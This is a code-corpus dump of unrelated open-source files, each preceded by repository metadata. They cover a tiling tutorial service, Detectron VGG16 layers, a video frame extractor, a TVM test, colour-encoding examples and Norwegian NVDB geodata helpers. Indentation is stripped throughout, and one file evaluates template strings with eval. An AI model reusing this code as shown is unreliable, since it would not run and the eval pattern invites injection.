7ce89c46f636fde71ee0a887ac7403a640c90ce5 | 1,781 | py | Python | example_problems/tutorial/tiling_mxn-boards_with_1x2-boards/services/tell_if_tilable/tell_if_tilable_server.py | DottaPaperella/TALight | 580322c3121c9acde9827f996fd4e39e31d93a6f | [
"MIT"
] | null | null | null | example_problems/tutorial/tiling_mxn-boards_with_1x2-boards/services/tell_if_tilable/tell_if_tilable_server.py | DottaPaperella/TALight | 580322c3121c9acde9827f996fd4e39e31d93a6f | [
"MIT"
] | null | null | null | example_problems/tutorial/tiling_mxn-boards_with_1x2-boards/services/tell_if_tilable/tell_if_tilable_server.py | DottaPaperella/TALight | 580322c3121c9acde9827f996fd4e39e31d93a6f | [
"MIT"
] | null | null | null | #!/usr/bin/env python3
from sys import stderr, exit, argv
from random import randrange
#from TALinputs import TALinput
from multilanguage import Env, Lang, TALcolors
# METADATA OF THIS TAL_SERVICE:
problem="tiling_mxn-boards_with_1x2-boards"
service="is_tilable"
args_list = [
('m',int),
('n',int),
('my_conjecture',str),
('h',int),
('k',int),
('lang',str),
('ISATTY',bool),
]
ENV =Env(problem, service, args_list)
TAc =TALcolors(ENV)
LANG=Lang(ENV, TAc, lambda fstring: eval(f"f'{fstring}'"))
TAc.print(LANG.opening_msg, "green")
# START CODING YOUR SERVICE:
assert ENV['h']==1
assert ENV['k']==2
print()
if (ENV['m'] * ENV['n']) % 2 == 1:
if ENV['my_conjecture'] == "yes":
TAc.NO()
print(LANG.render_feedback("FALSE-is-not-tilable", f"Contrary to what you have asserted, the {ENV['m']}x{ENV['n']}-grid is NOT tilable. If you are not convinced you can submit a tiling of that grid to the service 'check_my_tiling'."))
if ENV['my_conjecture'] == "no":
TAc.OK()
print(LANG.render_feedback("TRUE-is-not-tilable", f"You are perfecty right: the {ENV['m']}x{ENV['n']}-grid is NOT tilable."))
if (ENV['m'] * ENV['n']) % 2 == 0:
if ENV['my_conjecture'] == "yes":
TAc.OK()
print(LANG.render_feedback("TRUE-is-tilable", f"We agree on the fact that the {ENV['m']}x{ENV['n']}-grid is tilable. If you want to exhibit us a tiling for this grid you can submit it to the service 'check_my_tiling'."))
if ENV['my_conjecture'] == "no":
TAc.NO()
print(LANG.render_feedback("FALSE-is-tilable", f"No, the {ENV['m']}x{ENV['n']}-grid is tilable. If you can not believe a tiling of the {ENV['m']}x{ENV['n']}-grid exists try the service 'gimme_hints_on_a_tiling'."))
exit(0)
| 35.62 | 242 | 0.64009 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 988 | 0.554745 |
7cee8f95a77e8d2ded7b9467b41b6c25c5fb7cdf | 3,135 | py | Python | lib/modeling/VGG16.py | rsumner31/Detectron | 021685d42f7e8ac097e2bcf79fecb645f211378e | [
"Apache-2.0"
] | 429 | 2018-04-28T00:01:57.000Z | 2021-12-18T12:53:22.000Z | lib/modeling/VGG16.py | absorbguo/Detectron | 2f8161edc3092b0382cab535c977a180a8b3cc4d | [
"Apache-2.0"
] | 54 | 2018-12-26T13:04:32.000Z | 2020-04-24T04:09:30.000Z | lib/modeling/VGG16.py | absorbguo/Detectron | 2f8161edc3092b0382cab535c977a180a8b3cc4d | [
"Apache-2.0"
] | 96 | 2018-12-24T05:12:36.000Z | 2021-04-23T15:51:21.000Z | # Copyright (c) 2017-present, Facebook, Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
##############################################################################
"""VGG16 from https://arxiv.org/abs/1409.1556."""
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals
from core.config import cfg
def add_VGG16_conv5_body(model):
model.Conv('data', 'conv1_1', 3, 64, 3, pad=1, stride=1)
model.Relu('conv1_1', 'conv1_1')
model.Conv('conv1_1', 'conv1_2', 64, 64, 3, pad=1, stride=1)
model.Relu('conv1_2', 'conv1_2')
model.MaxPool('conv1_2', 'pool1', kernel=2, pad=0, stride=2)
model.Conv('pool1', 'conv2_1', 64, 128, 3, pad=1, stride=1)
model.Relu('conv2_1', 'conv2_1')
model.Conv('conv2_1', 'conv2_2', 128, 128, 3, pad=1, stride=1)
model.Relu('conv2_2', 'conv2_2')
model.MaxPool('conv2_2', 'pool2', kernel=2, pad=0, stride=2)
model.StopGradient('pool2', 'pool2')
model.Conv('pool2', 'conv3_1', 128, 256, 3, pad=1, stride=1)
model.Relu('conv3_1', 'conv3_1')
model.Conv('conv3_1', 'conv3_2', 256, 256, 3, pad=1, stride=1)
model.Relu('conv3_2', 'conv3_2')
model.Conv('conv3_2', 'conv3_3', 256, 256, 3, pad=1, stride=1)
model.Relu('conv3_3', 'conv3_3')
model.MaxPool('conv3_3', 'pool3', kernel=2, pad=0, stride=2)
model.Conv('pool3', 'conv4_1', 256, 512, 3, pad=1, stride=1)
model.Relu('conv4_1', 'conv4_1')
model.Conv('conv4_1', 'conv4_2', 512, 512, 3, pad=1, stride=1)
model.Relu('conv4_2', 'conv4_2')
model.Conv('conv4_2', 'conv4_3', 512, 512, 3, pad=1, stride=1)
model.Relu('conv4_3', 'conv4_3')
model.MaxPool('conv4_3', 'pool4', kernel=2, pad=0, stride=2)
model.Conv('pool4', 'conv5_1', 512, 512, 3, pad=1, stride=1)
model.Relu('conv5_1', 'conv5_1')
model.Conv('conv5_1', 'conv5_2', 512, 512, 3, pad=1, stride=1)
model.Relu('conv5_2', 'conv5_2')
model.Conv('conv5_2', 'conv5_3', 512, 512, 3, pad=1, stride=1)
blob_out = model.Relu('conv5_3', 'conv5_3')
return blob_out, 512, 1. / 16.
def add_VGG16_roi_fc_head(model, blob_in, dim_in, spatial_scale):
model.RoIFeatureTransform(
blob_in,
'pool5',
blob_rois='rois',
method=cfg.FAST_RCNN.ROI_XFORM_METHOD,
resolution=7,
sampling_ratio=cfg.FAST_RCNN.ROI_XFORM_SAMPLING_RATIO,
spatial_scale=spatial_scale
)
model.FC('pool5', 'fc6', dim_in * 7 * 7, 4096)
model.Relu('fc6', 'fc6')
model.FC('fc6', 'fc7', 4096, 4096)
blob_out = model.Relu('fc7', 'fc7')
return blob_out, 4096
| 41.25 | 78 | 0.648166 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1,295 | 0.413078 |
7cf7d0d22a5ee01c1d25faa33b9b8f99ef2f0210 | 3,300 | py | Python | Unsupervised/pix2pixHD/extract_frames.py | Kebniss/AutoDetect | 44ca4d6930ef5fbf044ebeed5c9fd925f04bc1a8 | [
"MIT"
] | 1 | 2019-07-25T02:16:32.000Z | 2019-07-25T02:16:32.000Z | Unsupervised/pix2pixHD/extract_frames.py | Kebniss/AutoDetect | 44ca4d6930ef5fbf044ebeed5c9fd925f04bc1a8 | [
"MIT"
] | null | null | null | Unsupervised/pix2pixHD/extract_frames.py | Kebniss/AutoDetect | 44ca4d6930ef5fbf044ebeed5c9fd925f04bc1a8 | [
"MIT"
] | null | null | null | import os
import cv2
import argparse
from utils import *
from tqdm import tqdm
from glob import glob
from pathlib import Path
def _extract_frames(video_path, parent, start=0, sampling_f=1):
vidcap = cv2.VideoCapture(video_path)
success, image = success, image = vidcap.read()
count = -1
saved = 0
print(f'Processing: {video_path}')
while success:
count += 1
if count % 300 == 0:
print('Processing frame: ', count)
if count % sampling_f == 0:
# sampling
cv2.imwrite(''.join([dest_folder, f"/{count + start}.jpg"]), image)
saved += 1
success, image = vidcap.read() # read next
print(f'Successfully saved {saved} frames to {dest_folder}')
return count + start
parser = argparse.ArgumentParser(
description='build a "frame dataset" from a given video')
parser.add_argument('-input', dest="input", required=True,
help='''Path to a single video or a folder. If path to folder the algorithm
will extract frames from all files with extension defined in
--extension and save them under separate folders under dest_folder.
The frames from each video will be saved under a folder with its name.
''')
parser.add_argument('--dest-folder', dest="dest_folder", default='./dataset/',
help='''Path where to store frames. NB all files in this folder will be
removed before adding the new frames''')
parser.add_argument('--same-folder', dest="same_folder", default=False,
help='''Set it to True if you want to save the frames of all videos to the
same folder in ascending order going from the first frame of the first video
to the last frame of the last video. If True frames will be saved in
dest_folder/frames.''')
parser.add_argument('--sampling', help='how many fps', default='3')
parser.add_argument('--run-type', help='train or test', default='train')
parser.add_argument('--extension', help='avi, mp4, mov...', default='mp4')
parser.add_argument('-width', help='output width', default=640, type=int)
parser.add_argument('-height', help='output height', default=480, type=int)
args = parser.parse_args()
mkdir(args.dest_folder)
if (args.width % 32 != 0) or (args.height % 32 != 0):
raise Exception("Please use width and height that are divisible by 32")
if os.path.isdir(args.input):
inp = str(Path(args.input) / f'*.{args.extension}')
videos = [v for v in glob(inp)]
if not videos:
raise Exception(f'No {args.extension} files in input directory {args.input}')
elif os.path.isfile(args.input):
_, ext = get_filename_extension(args.input)
if ext != args.extension:
raise ValueError(f'Correct inputs: folder or path to {args.extension} file only')
videos = [args.input]
else:
raise ValueError(f'Correct inputs: folder or path to {args.extension} file only')
if args.same_folder:
start = 0
dest_folder = str(Path(args.dest_folder) / f'{args.run_type}_frames')
mkdir(dest_folder)
for v in tqdm(videos):
if not args.same_folder:
start = 0
name, _ = get_filename_extension(v)
dest_folder = str(Path(args.dest_folder) / name)
mkdir(dest_folder)
start = _extract_frames(v, dest_folder, start, sampling_f=int(args.sampling))
| 39.285714 | 89 | 0.677879 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1,379 | 0.417879 |
6b01058178b8f414abe46085a609e4696e9cb097 | 1,096 | py | Python | setup.py | ripiuk/fant_sizer | dcc0908c79ed76af3f4189ebd2a75cecf7a89e34 | [
"MIT"
] | null | null | null | setup.py | ripiuk/fant_sizer | dcc0908c79ed76af3f4189ebd2a75cecf7a89e34 | [
"MIT"
] | null | null | null | setup.py | ripiuk/fant_sizer | dcc0908c79ed76af3f4189ebd2a75cecf7a89e34 | [
"MIT"
] | null | null | null | from setuptools import setup, find_packages
from os.path import join, dirname
setup(
name="fant_sizer",
version="0.7",
author="Rypiuk Oleksandr",
author_email="ripiuk96@gmail.com",
description="fant_sizer command-line file-information",
url="https://github.com/ripiuk/fant_sizer",
keywords="file command-line information size tool recursively",
license="MIT",
classifiers=[
'Topic :: Utilities',
'Environment :: Console',
'Natural Language :: English',
'License :: OSI Approved :: MIT License',
'Intended Audience :: Developers',
'Intended Audience :: Information Technology',
'Development Status :: 5 - Production/Stable',
'Programming Language :: Python :: 3.6'
],
packages=find_packages(),
long_description=open(join(dirname(__file__), "README.rst")).read(),
entry_points={
"console_scripts":
['fant_sizer = fant_sizer.fant_sizer:_main'],
},
)
| 36.533333 | 76 | 0.581204 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 539 | 0.491788 |
6b04db30f6d56200725a9e9d3be9cbc67d645d65 | 2,074 | py | Python | tests/python/unittest/test_tir_pass_inject_double_buffer.py | 0xreza/tvm | f08d5d78ee000b2c113ac451f8d73817960eafd5 | [
"Zlib",
"Unlicense",
"Apache-2.0",
"BSD-2-Clause",
"MIT",
"ECL-2.0"
] | null | null | null | tests/python/unittest/test_tir_pass_inject_double_buffer.py | 0xreza/tvm | f08d5d78ee000b2c113ac451f8d73817960eafd5 | [
"Zlib",
"Unlicense",
"Apache-2.0",
"BSD-2-Clause",
"MIT",
"ECL-2.0"
] | 1 | 2020-07-29T00:21:19.000Z | 2020-07-29T00:21:19.000Z | tests/python/unittest/test_tir_pass_inject_double_buffer.py | 0xreza/tvm | f08d5d78ee000b2c113ac451f8d73817960eafd5 | [
"Zlib",
"Unlicense",
"Apache-2.0",
"BSD-2-Clause",
"MIT",
"ECL-2.0"
] | 1 | 2021-07-22T17:33:16.000Z | 2021-07-22T17:33:16.000Z | # Licensed to the Apache Software Foundation (ASF) under one
# or more contributor license agreements. See the NOTICE file
# distributed with this work for additional information
# regarding copyright ownership. The ASF licenses this file
# to you under the Apache License, Version 2.0 (the
# "License"); you may not use this file except in compliance
# with the License. You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing,
# software distributed under the License is distributed on an
# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
# KIND, either express or implied. See the License for the
# specific language governing permissions and limitations
# under the License.
import tvm
from tvm import te
def test_double_buffer():
dtype = 'int64'
n = 100
m = 4
tx = te.thread_axis("threadIdx.x")
ib = tvm.tir.ir_builder.create()
A = ib.pointer("float32", name="A")
C = ib.pointer("float32", name="C")
ib.scope_attr(tx, "thread_extent", 1)
with ib.for_range(0, n) as i:
B = ib.allocate("float32", m, name="B", scope="shared")
with ib.new_scope():
ib.scope_attr(B.asobject(), "double_buffer_scope", 1)
with ib.for_range(0, m) as j:
B[j] = A[i * 4 + j]
with ib.for_range(0, m) as j:
C[j] = B[j] + 1
stmt = ib.get()
stmt = tvm.tir.ir_pass.InjectDoubleBuffer(stmt, 2)
stmt = tvm.tir.ir_pass.Simplify(stmt)
assert isinstance(stmt.body.body, tvm.tir.Allocate)
assert stmt.body.body.extents[0].value == 2
mod = tvm.IRModule({
"db" : tvm.tir.PrimFunc([A.asobject(), C.asobject()], stmt)
})
f = tvm.tir.transform.ThreadSync("shared")(mod)["db"]
count = [0]
def count_sync(op):
if isinstance(op, tvm.tir.Call) and op.name == "tvm_storage_sync":
count[0] += 1
tvm.tir.ir_pass.PostOrderVisit(f.body, count_sync)
assert count[0] == 4
if __name__ == "__main__":
test_double_buffer()
| 36.385965 | 74 | 0.655738 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 913 | 0.440212 |
6b13e6f6469b20dda5e5b5da9f0367c1ee7833b5 | 726 | py | Python | colour/examples/models/examples_ictcp.py | BPearlstine/colour | 40f0281295496774d2a19eee017d50fd0c265bd8 | [
"Cube",
"BSD-3-Clause"
] | 2 | 2020-05-03T20:15:42.000Z | 2021-04-09T18:19:06.000Z | colour/examples/models/examples_ictcp.py | BPearlstine/colour | 40f0281295496774d2a19eee017d50fd0c265bd8 | [
"Cube",
"BSD-3-Clause"
] | null | null | null | colour/examples/models/examples_ictcp.py | BPearlstine/colour | 40f0281295496774d2a19eee017d50fd0c265bd8 | [
"Cube",
"BSD-3-Clause"
] | 1 | 2019-12-11T19:48:27.000Z | 2019-12-11T19:48:27.000Z | # -*- coding: utf-8 -*-
"""
Showcases *ICTCP* *colour encoding* computations.
"""
import numpy as np
import colour
from colour.utilities import message_box
message_box('"ICTCP" Colour Encoding Computations')
RGB = np.array([0.45620519, 0.03081071, 0.04091952])
message_box(('Converting from "ITU-R BT.2020" colourspace to "ICTCP" colour '
'encoding given "RGB" values:\n'
'\n\t{0}'.format(RGB)))
print(colour.RGB_to_ICTCP(RGB))
print('\n')
ICTCP = np.array([0.07351364, 0.00475253, 0.09351596])
message_box(('Converting from "ICTCP" colour encoding to "ITU-R BT.2020" '
'colourspace given "ICTCP" values:\n'
'\n\t{0}'.format(ICTCP)))
print(colour.ICTCP_to_RGB(ICTCP))
| 27.923077 | 77 | 0.665289 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 334 | 0.460055 |
6b1e268c000917add1c1379d6ddcd9ab23f2b03b | 245 | py | Python | src/digibujogens/__main__.py | roaet/digibujogens | ab154edda69c091595902dd8b2e3fd273b2e7105 | [
"MIT"
] | null | null | null | src/digibujogens/__main__.py | roaet/digibujogens | ab154edda69c091595902dd8b2e3fd273b2e7105 | [
"MIT"
] | null | null | null | src/digibujogens/__main__.py | roaet/digibujogens | ab154edda69c091595902dd8b2e3fd273b2e7105 | [
"MIT"
] | null | null | null | """ Main application entry point.
python -m digibujogens ...
"""
def main():
""" Execute the application.
"""
raise NotImplementedError
# Make the script executable.
if __name__ == "__main__":
raise SystemExit(main())
| 14.411765 | 33 | 0.636735 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 147 | 0.6 |
6b29a1af58169202c8dc76623da144e32be97995 | 25 | py | Python | docassemble/MACourts/__init__.py | nonprofittechy/docassemble-MACourts | 6035393a09cff3e8a371f19b79d1cde3a60691c1 | [
"MIT"
] | 2 | 2020-07-20T19:13:38.000Z | 2021-03-02T04:30:44.000Z | docassemble/MACourts/__init__.py | nonprofittechy/docassemble-MACourts | 6035393a09cff3e8a371f19b79d1cde3a60691c1 | [
"MIT"
] | 25 | 2020-04-11T18:40:32.000Z | 2021-12-20T14:18:04.000Z | docassemble/MACourts/__init__.py | nonprofittechy/docassemble-MACourts | 6035393a09cff3e8a371f19b79d1cde3a60691c1 | [
"MIT"
] | 7 | 2020-04-10T01:51:27.000Z | 2021-06-25T21:24:48.000Z | __version__ = '0.0.58.2'
| 12.5 | 24 | 0.64 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 10 | 0.4 |
6b433031281aa45b18a53118e3852e760126a4ce | 867 | py | Python | validate/v1/base.py | huzidabanzhang/Python | 7b304290e5be7db4bce253edb069a12dcbc3c998 | [
"MIT"
] | 4 | 2019-09-04T09:16:24.000Z | 2019-09-18T08:50:36.000Z | validate/v1/base.py | huzidabanzhang/Python | 7b304290e5be7db4bce253edb069a12dcbc3c998 | [
"MIT"
] | null | null | null | validate/v1/base.py | huzidabanzhang/Python | 7b304290e5be7db4bce253edb069a12dcbc3c998 | [
"MIT"
] | null | null | null | #!/usr/bin/env python
# -*- coding:UTF-8 -*-
'''
@Description: ๆฐๆฎๅบ้ช่ฏๅจ
@Author: Zpp
@Date: 2020-05-28 13:44:29
@LastEditors: Zpp
@LastEditTime: 2020-05-28 14:02:02
'''
params = {
# ้ช่ฏๅญๆฎต
'fields': {
'type': {
'name': 'ๅฏผๅบ็ฑปๅ',
'type': 'int',
'between': [1, 2, 3],
'required': True
},
'document': {
'name': 'ๆฐๆฎๅบๆไปถ',
'type': 'file',
'required': True,
'msg': '่ฏท้ๆฉไธไผ ๆฐๆฎๅบๆไปถ'
},
'admin_id': {
'name': '็ฎก็ๅ็ผๅท',
'type': 'str',
'required': True
},
'time': {
'name': 'ๆฅ่ฏขๆถ้ด',
'type': 'str',
'required': True
}
},
# ๅฏผๅบๆฐๆฎๅบ
'Export': ['type'],
# ๅฏผๅ
ฅๆฐๆฎๅบ
'Import': ['document'],
# ้ฆ้กต็ปๅฝๆธ
็ฉบ
'Login': ['admin_id', 'time']
}
| 19.704545 | 34 | 0.392157 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 556 | 0.570256 |
6b46022f290a59526dcdb44e97324f9e8df677ff | 11,520 | py | Python | nvdbgeotricks.py | LtGlahn/estimat_gulstripe | 8bb93d52131bdda9846810dbd6bac7f872377859 | [
"MIT"
] | null | null | null | nvdbgeotricks.py | LtGlahn/estimat_gulstripe | 8bb93d52131bdda9846810dbd6bac7f872377859 | [
"MIT"
] | null | null | null | nvdbgeotricks.py | LtGlahn/estimat_gulstripe | 8bb93d52131bdda9846810dbd6bac7f872377859 | [
"MIT"
] | null | null | null | """
En samling hjelpefunksjoner som bruker nvdbapiv3-funksjonene til รฅ gjรธre nyttige ting, f.eks. lagre geografiske datasett
Disse hjelpefunksjonene forutsetter fungerende installasjon av geopandas, shapely og en del andre ting som mรฅ
installeres separat. Noen av disse bibliotekene kunne historisk av og til vรฆre plundrete รฅ installere, evt
ha versjonskonflikter seg i mellom, spesielt pรฅ windows. Slikt plunder hรธrer historien til (stort sett)
Anbefalingen er like fullt รฅ bruke (ana)conda installasjon i et eget "environment". Dette er god kodehygiene
og sikrer minimalt med kluss, samt ikke minst: Eventuelt kluss lar seg greit reparere ved รฅ lage nytt "enviroment",
uten at det pรฅvirker hele python-installasjonen din.
"""
import re
import pdb
from shapely import wkt
# from shapely.ops import unary_union
import pandas as pd
import geopandas as gpd
from datetime import datetime
import nvdbapiv3
from apiforbindelse import apiforbindelse
def nvdb2gpkg( objekttyper, filnavn='datadump', mittfilter=None, vegnett=True, vegsegmenter=False, geometri=True):
"""
Lagrer NVDB vegnett og angitte objekttyper til geopackage
ARGUMENTS
objekttyper: Liste med objekttyper du vil lagre
KEYWORDS
mittfilter=None : Dictionary med filter til sรธkeobjekt i nvdbapiv3.py, for eksempel { 'kommune' : 5001 }
Samme filter brukes pรฅ bรฅde vegnett og fagdata
vegnett=True : Bool, default=True. Angir om vi skal ta med data om vegnett eller ikke
vegsegmenter=False : Bool, default=False. Angir om vi skal repetere objektet delt inn etter vegsegementer
geometri=True : Bool, default=True. Angir om vi skal hente geometri fra egengeometri (hvis det finnes)
Hvis du รธnsker รฅ presentere vegobjekt ut fra objektets stedfesting langs veg sรฅ bruker du kombinasjonen
vegsegmenter=True, geometri=False
RETURNS
None
"""
if not '.gpkg' in filnavn:
filnavn = filnavn + datetime.today().strftime('%Y-%m-%d') + '.gpkg'
if not isinstance(objekttyper, list ):
objekttyper = [ objekttyper ]
for enObjTypeId in objekttyper:
enObjTypeId = int( enObjTypeId )
sok = nvdbapiv3.nvdbFagdata( enObjTypeId )
if mittfilter:
sok.filter( mittfilter )
stat = sok.statistikk()
objtypenavn = sok.objektTypeDef['navn']
print( 'Henter', stat['antall'], 'forekomster av objekttype', sok.objektTypeId, objtypenavn )
lagnavn = 'type' + str(enObjTypeId) + '_' + nvdbapiv3.esriSikkerTekst( objtypenavn.lower() )
rec = sok.to_records( vegsegmenter=vegsegmenter, geometri=geometri )
if len( rec ) > 0:
mindf = pd.DataFrame( rec )
# Mรฅ trickse litt for รฅ unngรฅ navnekollisjon
kolonner = list( mindf.columns )
lowerkolonner = [ x.lower() for x in kolonner ]
# Duplicate element indices in list
# Using list comprehension + list slicing
# https://www.geeksforgeeks.org/python-duplicate-element-indices-in-list/
res = [idx for idx, val in enumerate(lowerkolonner) if val in lowerkolonner[:idx]]
for ii, dublett in enumerate( res):
mindf.rename(columns={ mindf.columns[dublett] : kolonner[dublett] + '_' + str( ii+1 ) }, inplace=True )
mindf['geometry'] = mindf['geometri'].apply( wkt.loads )
minGdf = gpd.GeoDataFrame( mindf, geometry='geometry', crs=5973 )
# mรฅ droppe kolonne vegsegmenter hvis du har vegsegmenter=False
if 'vegsegmenter' in minGdf.columns:
minGdf.drop( 'vegsegmenter', 1, inplace=True)
minGdf.drop( 'geometri', 1, inplace=True)
minGdf.to_file( filnavn, layer=lagnavn, driver="GPKG")
else:
print( 'Ingen forekomster av', objtypenavn, 'for filter', mittfilter)
if vegnett:
veg = nvdbapiv3.nvdbVegnett()
if mittfilter:
junk = mittfilter.pop( 'egenskap', None)
junk = mittfilter.pop( 'overlapp', None)
veg.filter( mittfilter )
print( 'Henter vegnett')
rec = veg.to_records()
mindf = pd.DataFrame( rec)
mindf['geometry'] = mindf['geometri'].apply( wkt.loads )
mindf.drop( 'geometri', 1, inplace=True)
minGdf = gpd.GeoDataFrame( mindf, geometry='geometry', crs=5973 )
minGdf.to_file( filnavn, layer='vegnett', driver="GPKG")
def dumpkontraktsomr( komr = [] ):
"""
Dumper et har (hardkodede) kontraktsomrรฅder
"""
if not komr:
komr = [ '9302 Haugesund 2020-2025', '9304 Bergen', '9305 Sunnfjord' ]
komr = [ '9253 Agder elektro og veglys 2021-2024']
objliste = [ 540, # Trafikkmengde
105, # Fartsgrense
810, # Vinterdriftsklasse
482, # trafikkregistreringsstasjon
153, # Vรฆrstasjon
64, # Ferjeleie
39, # Rasteplass
48, # Fortau
199, # Trรฆr
15, # Grasdekker
274, # Blomsterbeplanting
511, # Busker
300 , # Naturomrรฅde (ingen treff i Haugesund kontrakt)
517, # Artsrik vegkant
800, # Fremmede arter
67, # Tunnellรธp
846, # Skredsikring, bremsekjegler
850 # Skredsikring, forbygning
]
objliste = []
for enkontrakt in komr:
filnavn = nvdbapiv3.esriSikkerTekst( enkontrakt )
nvdb2gpkg( objliste, filnavn=filnavn, mittfilter={'kontraktsomrade' : enkontrakt })
def firefeltrapport( mittfilter={}):
"""
Finner alle firefeltsveger i Norge, evt innafor angitt sรธkekriterie
Bruker sรธkeobjektet nvdbapiv3.nvdbVegnett fra biblioteket https://github.com/LtGlahn/nvdbapi-V3
ARGUMENTS
None
KEYWORDS:
mittfilter: Dictionary med sรธkefilter
RETURNS
geodataframe med resultatet
"""
v = nvdbapiv3.nvdbVegnett()
# Legger til filter pรฅ kun fase = V (eksistende veg), sรฅfremt det ikke kommer i konflikt med anna filter
if not 'vegsystemreferanse' in mittfilter.keys():
mittfilter['vegsystemreferanse'] = 'Ev,Rv,Fv,Kv,Sv,Pv'
if not 'kryssystem' in mittfilter.keys():
mittfilter['kryssystem'] = 'false'
if not 'sideanlegg' in mittfilter.keys():
mittfilter['sideanlegg'] = 'false'
v.filter( mittfilter )
# Kun kjรธrende, og kun รธverste topologinivรฅ, og ikke adskiltelop=MOT
v.filter( { 'trafikantgruppe' : 'K', 'detaljniva' : 'VT,VTKB', 'adskiltelop' : 'med,nei' } )
data = []
vegsegment = v.nesteForekomst()
while vegsegment:
if sjekkfelt( vegsegment, felttype='firefelt'):
vegsegment['feltoversikt'] = ','.join( vegsegment['feltoversikt'] )
vegsegment['geometri'] = vegsegment['geometri']['wkt']
vegsegment['vref'] = vegsegment['vegsystemreferanse']['kortform']
vegsegment['vegnr'] = vegsegment['vref'].split()[0]
vegsegment['vegkategori'] = vegsegment['vref'][0]
vegsegment['adskilte lรธp'] = vegsegment['vegsystemreferanse']['strekning']['adskilte_lรธp']
data.append( vegsegment )
vegsegment = v.nesteForekomst()
if len( data ) > 1:
mindf = pd.DataFrame( data )
mindf['geometry'] = mindf['geometri'].apply( wkt.loads )
mindf.drop( 'geometri', 1, inplace=True)
mindf.drop( 'kontraktsomrรฅder', 1, inplace=True)
mindf.drop( 'riksvegruter', 1, inplace=True)
mindf.drop( 'href', 1, inplace=True)
mindf.drop( 'metadata', 1, inplace=True)
mindf.drop( 'kortform', 1, inplace=True)
mindf.drop( 'veglenkenummer', 1, inplace=True)
mindf.drop( 'segmentnummer', 1, inplace=True)
mindf.drop( 'startnode', 1, inplace=True)
mindf.drop( 'sluttnode', 1, inplace=True)
mindf.drop( 'referanse', 1, inplace=True)
mindf.drop( 'mรฅlemetode', 1, inplace=True)
mindf.drop( 'mรฅledato', 1, inplace=True)
minGdf = gpd.GeoDataFrame( mindf, geometry='geometry', crs=5973 )
return minGdf
else:
return None
def sjekkfelt( vegsegment, felttype='firefelt' ):
"""
Sjekker hva slags felt som finnes pรฅ et vegsegment
ARGUMENTS:
vegsegment - dicionary med data om en bit av vegnettet hentet fra https://nvdbapiles-v3.atlas.vegvesen.no/vegnett/veglenkesekvenser/segmentert/
KEYWORDS:
felttype - hva slags felttype som skal sjekkes. Mulige verdier:
firefelt (default). Antar at firefeltsveg betyr at kjรธrefeltnummer 1-4 er brukt og er enten vanlig kj.felt, kollektivfelt eller reversibelt felt
(flere varianter kommer nรฅr de trengs)
RETURNS
boolean - True hvis kjรธrefeltene er av riktig type
"""
svar = False
vr = 'vegsystemreferanse'
sr = 'strekning'
if felttype == 'firefelt':
if 'feltoversikt' in vegsegment.keys() and 'detaljnivรฅ' in vegsegment.keys() and 'Vegtrase' in vegsegment['detaljnivรฅ']:
kjfelt = set( filtrerfeltoversikt( vegsegment['feltoversikt'], mittfilter=['vanlig', 'K', 'R']) )
if vr in vegsegment.keys():
if sr in vegsegment[vr] and 'adskilte_lรธp' in vegsegment[vr][sr]:
if vegsegment[vr][sr]['adskilte_lรธp'] == 'Nei' and kjfelt.issuperset( { 1, 2, 3, 4}):
svar = True
# Siste klausul her har f.eks. forekommet pรฅ Fv5724, envegskjรธrt tunnel ved Oldenvatnet.
elif vegsegment[vr][sr]['adskilte_lรธp'] == 'Med' and len( kjfelt ) >= 2 and not kjfelt.issuperset( {1, 2} ):
svar = True
return svar
else:
raise NotImplementedError('Sjekkfelt: Sjekk for felt av type: ' + felttype + 'er ikke implementert (ennรฅ)' )
def filtrerfeltoversikt( feltoversikt, mittfilter=['vanlig', 'K', 'R' ]):
"""
Returnerer liste med kjรธrefeltnummer filtrert pรฅ hva slags feltkode vi evt har
ARGUMENTS
feltoversikt - Liste med feltkoder for et vegsegment.
KEYWORDS
mittfilter=['vanlig', 'K', 'R' ] - Liste med koder for hva slags felt vi skal telle med. Sjekk hรฅndbok v830
Nasjonalt vegreferansesystem https://www.vegvesen.no/_attachment/61505 for mulige verdier, kortversjon:
'vanlig' - Helt vanlig kjรธrefelt, kjรธrefeltnumemr er angitt som heltall uten noen bokstaver.
'K' - kollektivfelt
'R' - reversibelt felt
'S' - Sykkelfelt
'H' - Svingefelt mot hรธyre
'V' - Svingefelt mot venstre
'B' - Ekstra felt for bompengeinnkreving
RETURNS
Liste med kjรธrefeltnummer hvor kun kjรธrefelt som angitt med mittfilter-nรธkkelord er inkludert
"""
data = [ ]
for felt in feltoversikt:
feltbokstav = re.findall( '[A-Za-z]', felt)
if feltbokstav:
feltbokstav = feltbokstav[0]
else:
feltbokstav = 'vanlig'
if feltbokstav in mittfilter:
feltnummer = int( re.split( '[A-Z]', felt)[0] )
data.append( feltnummer )
return data
| 39.183673 | 157 | 0.615712 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 5,684 | 0.490889 |
6b496440b1b757ff1f65cdc922e139b550fcb6ef | 473 | py | Python | setup.py | aagaard/dbservice | 47daadab307e6744ef151dd4e0aacff27dcda881 | [
"MIT"
] | 1 | 2020-04-27T16:30:50.000Z | 2020-04-27T16:30:50.000Z | setup.py | aagaard/dbservice | 47daadab307e6744ef151dd4e0aacff27dcda881 | [
"MIT"
] | null | null | null | setup.py | aagaard/dbservice | 47daadab307e6744ef151dd4e0aacff27dcda881 | [
"MIT"
